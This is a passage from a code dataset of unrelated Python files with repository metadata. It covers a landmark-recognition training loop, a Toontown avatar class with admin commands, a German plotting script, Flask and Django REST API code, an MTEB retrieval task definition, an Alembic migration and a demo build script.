None:\n            s = metric_crit.s.detach().cpu().numpy()\n        elif args.arcface_s == -1:\n            s = 0\n        else:\n            s = metric_crit.s\n        \n        if args.distributed_backend == \"ddp\":\n            step = epoch*args.batch_size*len(args.gpus.split(','))*args.gradient_accumulation_steps\n        else:\n            step = epoch*args.batch_size*args.gradient_accumulation_steps\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        loss_np = loss.detach().cpu().numpy()\n        train_loss.append(loss_np)\n        arcface.append(s)\n        \n        bar.set_description('loss: %.5f, arcface_s: %.5f' % (loss_np, s))\n    \n    train_loss = np.mean(train_loss)\n    arcface = np.mean(arcface)\n\n    return train_loss\n\n\ndef val_epoch(metric_crit_val, model, loader, n_test=1, get_output=False):\n    model.eval()\n    val_outputs = []\n    with torch.no_grad():\n        for batch in tqdm(loader):\n            batch['input'] = batch['input'].to(args.device)\n            batch['target'] = batch['target'].to(args.device)\n\n            output_dict = model(batch['input'], get_embeddings=True)\n            loss = loss_fn(metric_crit_val, batch, output_dict, val=True)\n\n            logits = output_dict['logits']\n            embeddings = output_dict['embeddings']\n\n            preds_conf, preds = torch.max(logits.softmax(1),1)\n\n            allowed_classes = torch.Tensor(list(range(args.n_classes))).long().to(logits.device)\n\n            preds_conf_pp, preds_pp = torch.max(logits.gather(1,allowed_classes.repeat(logits.size(0),1)).softmax(1),1)\n            preds_pp = allowed_classes[preds_pp]\n\n            targets = batch['target']\n\n            output = dict({\n                'idx':batch['idx'],\n                'embeddings': embeddings,\n                'val_loss': loss.view(1),\n                'preds': preds,\n                'preds_conf':preds_conf,\n                'preds_pp': preds_pp,\n                'preds_conf_pp':preds_conf_pp,\n                'targets': targets,\n                \n            })\n            val_outputs += [output] \n\n    return val_outputs\n\ndef val_end(val_outputs):\n    out_val = {}\n    for key in val_outputs[0].keys():\n        out_val[key] = torch.cat([o[key] for o in val_outputs])\n\n    device = out_val[\"targets\"].device\n\n    for key in out_val.keys():\n            out_val[key] = out_val[key].detach().cpu().numpy().astype(np.float32)\n\n    val_score = comp_metric(out_val[\"targets\"], [out_val[\"preds\"], out_val[\"preds_conf\"]])\n    val_score_landmarks = comp_metric(out_val[\"targets\"], [out_val[\"preds\"], out_val[\"preds_conf\"]])\n\n    val_score_pp = comp_metric(out_val[\"targets\"], [out_val[\"preds_pp\"], out_val[\"preds_conf_pp\"]])\n    val_score_landmarks_pp = comp_metric(out_val[\"targets\"], [out_val[\"preds_pp\"], out_val[\"preds_conf_pp\"]])\n\n    val_loss_mean = np.sum(out_val[\"val_loss\"])\n    \n    results = {'val_loss': val_loss_mean,\n                     'val_gap':val_score,\n                     'val_gap_landmarks':val_score_landmarks,\n                     'val_gap_pp':val_score_pp,\n                     'val_gap_landmarks_pp':val_score_landmarks_pp,\n                    }\n\n    return results","repo_name":"ili0820/CLOVA-AIRUSH-2022-Landmark-Recogntion","sub_path":"Round1 - Landmark Recognition_Classification/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23897809849","text":"from direct.actor.DistributedActor import DistributedActor\nfrom direct.distributed import DistributedNode\nfrom direct.interval.IntervalGlobal import *\nfrom direct.showbase import PythonUtil\nfrom direct.task import Task\nfrom panda3d.core import *\n\nfrom .Avatar import Avatar\nfrom otp.ai.MagicWordGlobal import *\nfrom otp.otpbase import OTPGlobals\nfrom toontown.battle.BattleProps import globalPropPool\n\n\nclass DistributedAvatar(DistributedActor, Avatar):\n    HpTextGenerator = TextNode('HpTextGenerator')\n    HpTextEnabled = 1\n    ManagesNametagAmbientLightChanged = True\n\n    def __init__(self, cr):\n        try:\n            self.DistributedAvatar_initialized\n            return\n        except:\n            self.DistributedAvatar_initialized = 1\n\n        Avatar.__init__(self)\n        DistributedActor.__init__(self, cr)\n        self.hpText = None\n        self.hp = None\n        self.maxHp = None\n        return\n\n    def disable(self):\n        try:\n            del self.DistributedAvatar_announced\n        except:\n            return\n\n        self.reparentTo(hidden)\n        self.removeActive()\n        self.disableBodyCollisions()\n        self.hideHpText()\n        self.hp = None\n        self.ignore('nameTagShowAvId')\n        self.ignore('nameTagShowName')\n        DistributedActor.disable(self)\n        return\n\n    def delete(self):\n        try:\n            self.DistributedAvatar_deleted\n        except:\n            self.DistributedAvatar_deleted = 1\n            Avatar.delete(self)\n            DistributedActor.delete(self)\n\n    def generate(self):\n        DistributedActor.generate(self)\n        if not self.isLocal():\n            self.addActive()\n            self.considerUnderstandable()\n        self.setParent(OTPGlobals.SPHidden)\n        self.setTag('avatarDoId', str(self.doId))\n        self.accept('nameTagShowAvId', self.__nameTagShowAvId)\n        self.accept('nameTagShowName', self.__nameTagShowName)\n\n    def announceGenerate(self):\n        try:\n            self.DistributedAvatar_announced\n            return\n        except:\n            self.DistributedAvatar_announced = 1\n\n        if not self.isLocal():\n            self.initializeBodyCollisions('distAvatarCollNode-' + str(self.doId))\n        DistributedActor.announceGenerate(self)\n\n    def __setTags(self, extra = None):\n        if hasattr(base, 'idTags'):\n            if base.idTags:\n                self.__nameTagShowAvId()\n            else:\n                self.__nameTagShowName()\n\n    def do_setParent(self, parentToken):\n        if not self.isDisabled():\n            nametag2d = self.nametag.getNametag2d()\n            if parentToken == OTPGlobals.SPHidden:\n                nametag2d.hideNametag()\n            else:\n                nametag2d.showNametag()\n            nametag2d.update()\n            DistributedActor.do_setParent(self, parentToken)\n            self.__setTags()\n\n    def toonUp(self, hpGained):\n        if self.hp == None or hpGained < 0:\n            return\n        oldHp = self.hp\n        if self.hp + hpGained <= 0:\n            self.hp += hpGained\n        else:\n            self.hp = min(max(self.hp, 0) + hpGained, self.maxHp)\n        hpGained = self.hp - max(oldHp, 0)\n        if hpGained > 0:\n            self.showHpText(hpGained)\n            self.hpChange(quietly=0)\n        return\n\n    def takeDamage(self, hpLost, bonus = 0):\n        if self.hp == None or hpLost < 0:\n            return\n        oldHp = self.hp\n        self.hp = max(self.hp - hpLost, 0)\n        hpLost = oldHp - self.hp\n        if hpLost > 0:\n            self.showHpText(-hpLost, bonus)\n            self.hpChange(quietly=0)\n            if self.hp <= 0 and oldHp > 0:\n                self.died()\n        return\n\n    def setHp(self, hitPoints):\n        justRanOutOfHp = (hitPoints is not None and self.hp is not None and self.hp - hitPoints > 0) and (hitPoints <= 0)\n        self.hp = hitPoints\n        self.hpChange(quietly=1)\n        if justRanOutOfHp:\n            self.died()\n        return\n\n    def hpChange(self, quietly = 0):\n        if hasattr(self, 'doId'):\n            if self.hp != None and self.maxHp != None:\n                messenger.send(self.uniqueName('hpChange'), [self.hp, self.maxHp, quietly])\n            if self.hp != None and self.hp > 0:\n                messenger.send(self.uniqueName('positiveHP'))\n        return\n\n    def died(self):\n        pass\n\n    def getHp(self):\n        return self.hp\n\n    def setMaxHp(self, hitPoints):\n        self.maxHp = hitPoints\n        self.hpChange()\n\n    def getMaxHp(self):\n        return self.maxHp\n\n    def getName(self):\n        return Avatar.getName(self)\n\n    def setName(self, name):\n        try:\n            self.node().setName(name)\n            # NF\n            # Appends name and ID, but why???\n            #self.node().setName('%s-%d' % (name, self.doId))\n            self.gotName = 1\n        except:\n            pass\n\n        return Avatar.setName(self, name)\n\n    def showHpText(self, number, bonus = 0, scale = 1):\n        if self.HpTextEnabled and not self.ghostMode:\n            if number != 0:\n                if self.hpText:\n                    self.hideHpText()\n                self.HpTextGenerator.setFont(OTPGlobals.getSignFont())\n                if number < 0:\n                    self.HpTextGenerator.setText(str(number))\n                else:\n                    self.HpTextGenerator.setText('+' + str(number))\n                self.HpTextGenerator.clearShadow()\n                self.HpTextGenerator.setAlign(TextNode.ACenter)\n                if bonus == 1:\n                    r = 1.0\n                    g = 1.0\n                    b = 0\n                    a = 1\n                elif bonus == 2:\n                    r = 1.0\n                    g = 0.5\n                    b = 0\n                    a = 1\n                elif number < 0:\n                    r = 0.9\n                    g = 0\n                    b = 0\n                    a = 1\n                else:\n                    r = 0\n                    g = 0.9\n                    b = 0\n                    a = 1\n                self.HpTextGenerator.setTextColor(r, g, b, a)\n                self.hpTextNode = self.HpTextGenerator.generate()\n                self.hpText = self.attachNewNode(self.hpTextNode)\n                self.hpText.setScale(scale)\n                self.hpText.setBillboardPointEye()\n                self.hpText.setBin('fixed', 100)\n                self.hpText.setPos(0, 0, self.height / 2)\n                seq = Sequence(self.hpText.posInterval(1.0, Point3(0, 0, self.height + 1.5), blendType='easeOut'), Wait(0.85), self.hpText.colorInterval(0.1, Vec4(r, g, b, 0)), Func(self.hideHpText))\n                seq.start()\n\n    def showHpString(self, text, duration = 0.85, scale = 0.7):\n        if self.HpTextEnabled and not self.ghostMode:\n            if text != '':\n                if self.hpText:\n                    self.hideHpText()\n                self.HpTextGenerator.setFont(OTPGlobals.getSignFont())\n                self.HpTextGenerator.setText(text)\n                self.HpTextGenerator.clearShadow()\n                self.HpTextGenerator.setAlign(TextNode.ACenter)\n                r = a = 1.0\n                g = b = 0.0\n                self.HpTextGenerator.setTextColor(r, g, b, a)\n                self.hpTextNode = self.HpTextGenerator.generate()\n                self.hpText = self.attachNewNode(self.hpTextNode)\n                self.hpText.setScale(scale)\n                self.hpText.setBillboardAxis()\n                self.hpText.setPos(0, 0, self.height / 2)\n                seq = Sequence(self.hpText.posInterval(1.0, Point3(0, 0, self.height + 1.5), blendType='easeOut'), Wait(duration), self.hpText.colorInterval(0.1, Vec4(r, g, b, 0)), Func(self.hideHpText))\n                seq.start()\n\n    def hideHpText(self):\n        if self.hpText:\n            taskMgr.remove(self.uniqueName('hpText'))\n            self.hpText.removeNode()\n            self.hpText = None\n        return\n\n    def getStareAtNodeAndOffset(self):\n        return (self, Point3(0, 0, self.height))\n\n    def getAvIdName(self):\n        return '%s\\n%s' % (self.getName(), self.doId)\n\n    def __nameTagShowAvId(self, extra = None):\n        self.setDisplayName(self.getAvIdName())\n\n    def __nameTagShowName(self, extra = None):\n        self.setDisplayName(self.getName())\n\n    def askAvOnShard(self, avId):\n        if base.cr.doId2do.get(avId):\n            messenger.send('AvOnShard%s' % avId, [True])\n        else:\n            self.sendUpdate('checkAvOnShard', [avId])\n\n    def confirmAvOnShard(self, avId, onShard = True):\n        messenger.send('AvOnShard%s' % avId, [onShard])\n\n    def getDialogueArray(self):\n        return None\n\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER)\ndef warp():\n    \"\"\"\n    warp the target to the invoker's current position, and rotation.\n    \"\"\"\n    invoker = spellbook.getInvoker()\n    target = spellbook.getTarget()\n    if invoker.doId == target.doId:\n        return \"You can't warp yourself!\"\n    target.setPosHpr(invoker.getPos(), invoker.getHpr())\n\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER, types=[str])\ndef loop(anim):\n    \"\"\"\n    animate the target using animation [anim] on the entire actor.\n    \"\"\"\n    target = spellbook.getTarget()\n    target.loop(anim)\n\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER, types=[str, int, str])\ndef pose(anim, frame, part=None):\n    \"\"\"\n    freeze the target on frame [frame] of animation [anim] on the entire actor,\n    or optional [part] of the actor.\n    \"\"\"\n    target = spellbook.getTarget()\n    target.pose(anim, frame, partName=part)\n\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER, types=[str, int, int, str])\ndef pingpong(anim, start=None, end=None, part=None):\n    \"\"\"\n    animate the target by bouncing back and forth between the start and end, or\n    the optional frames <start>, and [end] of animation [anim] on the entire\n    actor, or optional <part> of the actor.\n    \"\"\"\n    target = spellbook.getTarget()\n    target.pingpong(anim, partName=part, fromFrame=start, toFrame=end)\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER, types=[str])\ndef rightHand(prop=None):\n    \"\"\"\n    parents the optional <prop> to the target's right hand node.\n    \"\"\"\n    target = spellbook.getTarget()\n    rightHand = target.find('**/rightHand')\n    if prop is None:\n        for child in rightHand.getChildren():\n            child.removeNode()\n    else:\n        for child in rightHand.getChildren():\n            child.removeNode()\n        requestedProp = globalPropPool.getProp(prop)\n        requestedProp.reparentTo(rightHand)\n\n@magicWord(category=CATEGORY_COMMUNITY_MANAGER, types=[str])\ndef leftHand(prop=None):\n    \"\"\"\n    parents the optional <prop> to the target's left hand node.\n    \"\"\"\n    target = spellbook.getTarget()\n    leftHand = target.find('**/leftHand')\n    if prop is None:\n        for child in leftHand.getChildren():\n            child.removeNode()\n    else:\n        for child in leftHand.getChildren():\n            child.removeNode()\n        requestedProp = globalPropPool.getProp(prop)\n        requestedProp.reparentTo(leftHand)\n","repo_name":"nate97/toontown-src-py3.0","sub_path":"otp/avatar/DistributedAvatar.py","file_name":"DistributedAvatar.py","file_ext":"py","file_size_in_byte":11036,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"15389221322","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 26 11:52:02 2021\r\n\r\n@author: ameli\r\n\"\"\"\r\n''' Die hinsichtlich der semantischen Klasse annotierten verbalen Köpfe der \r\nprozessbezogenen Typen werden grafisch dargestellt.\r\nInput: .xlsx-Datei, jeder Prozesstyp hat ein eigenes Arbeitsblatt\r\nOutput: Grafik 1: Verben nach Frequenz gewichtet.\r\n        Grafik 2: Verben einfach gewertet.'''\r\n\r\n####### Benötigte Packete ############\r\nimport pandas as pd\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib \r\n\r\n######################################\r\n########## Parameter für #############\r\n########## Grafik Ausgabe ############\r\n######################################\r\n\r\n\r\nmatplotlib.use(\"pgf\")\r\nmatplotlib.rcParams.update({\r\n    \"pgf.texsystem\": \"pdflatex\",\r\n    'font.family': 'serif',\r\n    'text.usetex': True,\r\n    'pgf.rcfonts': False,\r\n})\r\nplt.style.use('ggplot')\r\n\r\n################ feststehende Variablen ##############\r\ndict_heads ={}\r\ndict_heads2 ={}\r\n\r\n\r\n######################################\r\n################# Pfad ###############\r\n######################################\r\nos.chdir(r\"..\\Datensätze\\annotiert\\verbaleKöpfe\")\r\ndirPath = r\"..\\verbaleKöpfe\"\r\ndf_agens = pd.read_excel('Heads_Typen_aktuell.xlsx', sheet_name='agens')[:40]\r\ndf_rein = pd.read_excel('Heads_Typen_aktuell.xlsx', sheet_name='rein')[:40]\r\ndf_methode = pd.read_excel('Heads_Typen_aktuell.xlsx', sheet_name='methode')[:40]\r\ndf_degree = pd.read_excel('Heads_Typen_aktuell.xlsx', sheet_name='degree')[:40]\r\ndf_frequenz = pd.read_excel('Heads_Typen_aktuell.xlsx', sheet_name='frequenz')[:40]\r\n\r\ndef auswertung(df,name):\r\n    dict_heads[name] = {}\r\n    for index,row in df.iterrows():\r\n        if row['ambig'] == 'yes':\r\n            for element in row['SemanticNet Function'].split(';'):\r\n                if element in dict_heads[name]:\r\n                    dict_heads[name][element] += row['Vorkommen']\r\n                else: dict_heads[name][element] = row['Vorkommen']\r\n        else:\r\n            if row['SemanticNet Function'] in dict_heads[name]:\r\n                dict_heads[name][row['SemanticNet Function']] += row['Vorkommen']\r\n            else: dict_heads[name][row['SemanticNet Function']] = row['Vorkommen']\r\n    return()\r\n\r\ndef auswertung2(df,name):\r\n    dict_heads2[name] = {}\r\n    for index,row in df.iterrows():\r\n        if row['ambig'] == 'yes':\r\n            for element in row['SemanticNet Function'].split(';'):\r\n                if element in dict_heads2[name]:\r\n                    dict_heads2[name][element] += 1\r\n                else: dict_heads2[name][element] = 1\r\n        else:\r\n            if row['SemanticNet Function'] in dict_heads2[name]:\r\n                dict_heads2[name][row['SemanticNet Function']] += 1\r\n            else: dict_heads2[name][row['SemanticNet Function']] = 1\r\n    return()\r\n\r\nauswertung(df_agens,'agensorientiert')\r\nauswertung(df_degree,'Gradadv.')\r\nauswertung(df_frequenz,'prozz. Freq.')\r\nauswertung(df_methode,'methodenorientiert')\r\nauswertung(df_rein,'reines ADV')\r\n\r\nauswertung2(df_agens,'agens')\r\nauswertung2(df_degree,'degree')\r\nauswertung2(df_frequenz,'frequenz')\r\nauswertung2(df_methode,'methode')\r\nauswertung2(df_rein,'rein')\r\n\r\ndf_heads = pd.DataFrame.from_dict(dict_heads)\r\n# Matrix transponieren\r\ndf_heads_T = df_heads.T\r\n# Balkendiagramm ausgeben\r\ndf_heads.plot.bar(rot=90)\r\nfig_1 = df_heads_norm = df_heads_T.div(df_heads_T.sum(1),axis=0)\r\nfig_1 = plt.gcf()\r\nfig_1.subplots_adjust(bottom=0.38)\r\nfig_1.set_size_inches(w=6, h=4.5) \r\nplt.savefig('AuswertungHeadsTypen.pgf')\r\n\r\ndf_heads2 = pd.DataFrame.from_dict(dict_heads2)\r\n# Matrix transponieren\r\ndf_heads2_T = df_heads2.T\r\n# Balkendiagramm ausgeben\r\ndf_heads2.plot.bar(rot=90)\r\nfig_1 = df_heads2_norm = df_heads2_T.div(df_heads2_T.sum(1),axis=0)\r\nfig_1 = plt.gcf()\r\nfig_1.subplots_adjust(bottom=0.38)\r\nfig_1.set_size_inches(w=6, h=4.5) \r\nplt.savefig('AuswertungHeadsTypeneinfach.pgf')\r\n","repo_name":"amero29/MA-Robrecht","sub_path":"Programme/SemNetAuswertungTypen.py","file_name":"SemNetAuswertungTypen.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71605143736","text":"from flask import abort, jsonify, request\nfrom api.endpoints import api_views\nfrom models import storage\nfrom models.user import User\nfrom models.task import Task\n\n@api_views.route(\"/<user_id>/tasks\", strict_slashes=False)\ndef undone_tasks(user_id):\n    \"\"\"Returns all undone tasks of a user\"\"\"\n    user = storage.get(User, user_id)\n    if not user:\n        abort(404)\n    task_json = []\n    for task in user.tasks:\n        if task.status == \"in progress\":\n            task_json.append(task.to_dict())\n    return jsonify(task_json)\n\n@api_views.route(\"/<user_id>/tasks\", methods=[\"POST\"], strict_slashes=False)\ndef create_task(user_id):\n    \"\"\"Creates a new task for a user\"\"\"\n    if request.content_type != \"application/json\":\n        abort(400, description=\"Not a JSON\")\n    data = request.get_json()\n    if \"title\" not in data:\n        abort(400, description=\"Missing title\")\n    if \"deadline\" not in data:\n        abort(400, description=\"Missing deadline\")\n    if \"description\" not in data:\n        data[\"description\"] = \"\"\n    if \"steps\" not in data:\n        data[\"steps\"] = []\n    user = storage.get(User, user_id)\n    if not user:\n        abort(404)\n    user.create_task(\n                    title=data[\"title\"], \n                    description=data[\"description\"], \n                    deadline=data[\"deadline\"], \n                    steps=data[\"steps\"],\n                    )\n    return jsonify({})\n\n@api_views.route(\"/<user_id>/tasks/<subordinate_id>\", methods=[\"POST\"], strict_slashes=False)\ndef create_subtask(user_id, subordinate_id):\n    \"\"\"Creates a new task for a subordinate\"\"\"\n    if request.content_type != \"application/json\":\n        abort(400, description=\"Not a JSON\")\n    data = request.get_json()\n    if \"title\" not in data:\n        abort(400, description=\"Missing title\")\n    if \"deadline\" not in data:\n        abort(400, description=\"Missing deadline\")\n    if \"description\" not in data:\n        data[\"description\"] = \"\"\n    if \"steps\" not in data:\n        data[\"steps\"] = []\n    user = storage.get(User, user_id)\n    subordinate = storage.get(User, subordinate_id)\n    if not user or not subordinate:\n        abort(404)\n    user.add_subtask(\n                    title=data[\"title\"], \n                    description=data[\"description\"], \n                    deadline=data[\"deadline\"], \n                    steps=data[\"steps\"],\n                    subordinate=subordinate.email\n                    )\n    return jsonify({})\n","repo_name":"Ifechukwu001/WorkTeams","sub_path":"api/endpoints/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"47578441889","text":"from ...abstasks.AbsTaskRetrieval import AbsTaskRetrieval\nfrom ...abstasks.BeIRTask import BeIRTask\n\n\nclass NQ(AbsTaskRetrieval, BeIRTask):\n    @property\n    def description(self):\n        return {\n            \"name\": \"NQ\",\n            \"beir_name\": \"nq\",\n            \"description\": \"NFCorpus: A Full-Text Learning to Rank Dataset for Medical Information Retrieval\",\n            \"reference\": \"https://ai.google.com/research/NaturalQuestions/\",\n            \"type\": \"Retrieval\",\n            \"category\": \"s2p\",\n            \"eval_splits\": [\"test\"],\n            \"eval_langs\": [\"en\"],\n            \"main_score\": \"ndcg_at_10\",\n        }\n","repo_name":"xlang-ai/instructor-embedding","sub_path":"evaluation/MTEB/mteb/tasks/Retrieval/NQRetrieval.py","file_name":"NQRetrieval.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":1419,"dataset":"github-code","pt":"22"}
+{"seq_id":"42005458771","text":"\"\"\"empty message\n\nRevision ID: 398615e6b6d8\nRevises: fd29a4bf6b22\nCreate Date: 2019-05-09 10:00:24.339640\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '398615e6b6d8'\ndown_revision = 'fd29a4bf6b22'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint('location_organization_id_fkey', 'location', type_='foreignkey')\n    op.create_foreign_key('location_resource_id_fkey', 'location', 'resource', ['id'], ['id'])\n    op.drop_column('location', 'organization_id')\n    op.drop_column('location', 'last_updated')\n    op.drop_column('location', 'phone')\n    op.drop_column('location', 'title')\n    op.drop_column('location', 'website')\n    op.drop_column('location', 'description')\n    op.add_column('resource', sa.Column('type', sa.String(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('resource', 'type')\n    op.add_column('location', sa.Column('description', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column('location', sa.Column('website', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column('location', sa.Column('title', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column('location', sa.Column('phone', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column('location', sa.Column('last_updated', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))\n    op.add_column('location', sa.Column('organization_id', sa.INTEGER(), autoincrement=False, nullable=True))\n    op.drop_constraint('location_resource_id_fkey', 'location', type_='foreignkey')\n    op.create_foreign_key('location_organization_id_fkey', 'location', 'organization', ['organization_id'], ['id'])\n    # ### end Alembic commands ###\n","repo_name":"sartography/star-drive","sub_path":"backend/migrations/versions/398615e6b6d8_.py","file_name":"398615e6b6d8_.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26977289568","text":"#!/usr/bin/env python\n\nimport os\nfrom subprocess import run\n\nvalue = os.environ.get('BUILD_DEMO', 'false')\nif value.lower() == \"true\":\n    run('npm install', shell=True, check=True, cwd='demo')\n    run('npm run build', shell=True, check=True, cwd='demo')\n    print('Demo built')\nelse:\n    print(\"BUILD_DEMO is '%s'.  Not building demo.\" % value)\n","repo_name":"dair-iitd/openie6","sub_path":"imojie/allennlp/scripts/build_demo.py","file_name":"build_demo.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"22"}
+{"seq_id":"33620230945","text":"from rest_framework import serializers\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\nfrom tales import models\n\n\n# --------------------------------------------------------------------------- #\n# GENERIC SERIALIZERS                                                         #\n# --------------------------------------------------------------------------- #\n\nclass ActionSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Action\n        fields = '__all__'\n\n\nclass CharacterClassSerializer(serializers.ModelSerializer):\n    actions = ActionSerializer(many=True, read_only=True)\n\n    class Meta:\n        model = models.CharacterClass\n        fields = '__all__'\n\n\nclass CharacterSerializer(serializers.ModelSerializer):\n    characterClass = CharacterClassSerializer()\n\n    class Meta:\n        model = models.Character\n        fields = '__all__'\n\n\nclass MyUserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.MyUser\n        fields = ['last_login', 'username', 'first_name', 'last_name',\n                  'email', 'nickname',  'profile_pic', 'id']\n\n\nclass EntityInstanceSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.EntityInstance\n        fields = '__all__'\n\n\nclass EventSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Event\n        fields = '__all__'\n\n\nclass StoryModalSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Story\n        fields = ['id', 'image', 'title', 'optimalPlayers', 'description']\n\n\nclass RoomSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.Room\n        fields = '__all__'\n\n\nclass RoomParticipantSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.RoomParticipant\n        fields = '__all__'\n\n\nclass CharacterClassShortSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.CharacterClass\n        fields = ['id', 'name', 'atk', 'defense', 'hp']\n\n\nclass CharacterShortSerializer(serializers.ModelSerializer):\n    characterClass = CharacterClassShortSerializer()\n\n    class Meta:\n        model = models.Character\n        fields = ['id', 'name', 'background',\n                  'image', 'characterClass', 'weapon']\n\n\nclass RoomParticipantCharaSerializer(serializers.ModelSerializer):\n    # Class info for Roadmap Dev\n    character = CharacterShortSerializer()\n\n    class Meta:\n        model = models.RoomParticipant\n        fields = ['id', 'user', 'character', 'isAdmin', 'nickname', 'hit']\n\n    # def save(self, **kwargs):\n    #     return super().save(*kwargs)\n\n\nclass MessageSerializer(serializers.ModelSerializer):\n    sender = MyUserSerializer()\n    # room = RoomSerializer()\n\n    class Meta:\n        model = models.Message\n        fields = '__all__'\n\n\nclass PostedMessageSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Message\n        fields = '__all__'\n\n\n# Serialization allows complex data (querysets, model) to be converted into native Python data.\n# These can be easily converted JSON.\n\nclass SerializerUserId(serializers.ModelSerializer):\n    class Meta:\n        model = models.MyUser\n        fields = ['id', 'username']\n\n# --------------------------------------------------------------------------- #\n# rooms                                                                       #\n# --------------------------------------------------------------------------- #\n\n\nclass StoryQuickSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Story\n        fields = ['id', 'image']\n\n\nclass RoomQuickSerializer(serializers.ModelSerializer):\n    story = StoryQuickSerializer()\n\n    class Meta:\n        model = models.Room\n        fields = ['id', 'title', \"story\"]\n\n\nclass ParticipantPutSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.RoomParticipant\n        fields = [\"nickname\", \"character\"]\n\n\nclass SerializerRoomsHomepage(serializers.ModelSerializer):\n    # Use by SerializerRoomsGE\n    user = SerializerUserId(read_only=True)\n\n    class Meta:\n        model = models.RoomParticipant\n        fields = ['user', 'isAdmin']\n\n\nclass SerialiazerStoriesHomepage(serializers.ModelSerializer):\n    # Use by SerializerRoomsGE\n    class Meta:\n        model = models.Story\n        fields = ['id', 'title', 'description', 'image']\n\n\nclass SerializerRoomsGE(serializers.ModelSerializer):\n    # Get all details of all the rooms on the homepage\n    story = SerialiazerStoriesHomepage(read_only=True)\n    participants = SerializerRoomsHomepage(many=True, read_only=True)\n    nbParticipants = serializers.IntegerField(\n        source='participants.count',\n        read_only=True\n    )\n\n    class Meta:\n        model = models.Room\n        fields = ['id', 'title', 'description', 'isPublic',\n                  'nbParticipants', 'maxParticipants', 'participants', 'story']\n\n# --------------------------------------------------------------------------- #\n# token customizations                                                        #\n# --------------------------------------------------------------------------- #\n\n\nclass MyTokenObtainPairSerializer(TokenObtainPairSerializer):\n    @classmethod\n    def get_token(cls, user):\n        token = super().get_token(user)\n        token['username'] = user.username\n        token['profile_pic'] = f\"/media/{str(user.profile_pic)}\"\n        token['nickname'] = user.nickname\n        return token\n\n\n# --------------------------------------------------------------------------- #\n# register setup                                                              #\n# --------------------------------------------------------------------------- #\n\nclass RegisterSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.MyUser\n        fields = ['first_name', 'last_name', 'email',\n                  'nickname', 'birthdate', 'username', 'password']\n\n    def create(self, validated_data):\n        password = validated_data.pop('password')\n        myUser = models.MyUser(**validated_data)\n        myUser.set_password(password)\n        myUser.save()\n        return myUser\n\n\nclass TickboxSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Tickbox\n        fields = '__all__'\n\n\n# --------------------------------------------------------------------------- #\n# contacts serializers                                                        #\n# --------------------------------------------------------------------------- #\n\nclass ContactSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.Contact\n        fields = ['sender', 'receiver', 'approved']\n\n\nclass ContactUserSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.MyUser\n        fields = ['username', 'nickname', 'id', 'profile_pic']\n\n\n# --------------------------------------------------------------------------- #\n# assets                                                                      #\n# --------------------------------------------------------------------------- #\n\nclass StorySerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Story\n        fields = ['id', 'title', 'user', 'description',\n                  'image', 'optimalPlayers', 'isPublic', 'trigger']\n\n\n# --------------------------------------------------------------------------- #\n# triggers                                                                    #\n# --------------------------------------------------------------------------- #\n\n\nclass TriggerSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Message\n        fields = ['room', 'sender', 'messageContent', 'image', 'isTriggered']\n\n\nclass EntityInstanceTriggers(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.EntityInstance\n        fields = ['instance', 'name', 'trigger']\n\n\nclass StoryTriggers(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.Story\n        fields = ['id', 'title', 'trigger']\n\n\nclass ActionTriggers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Action\n        fields = ['id', 'title', 'trigger']\n\n\nclass 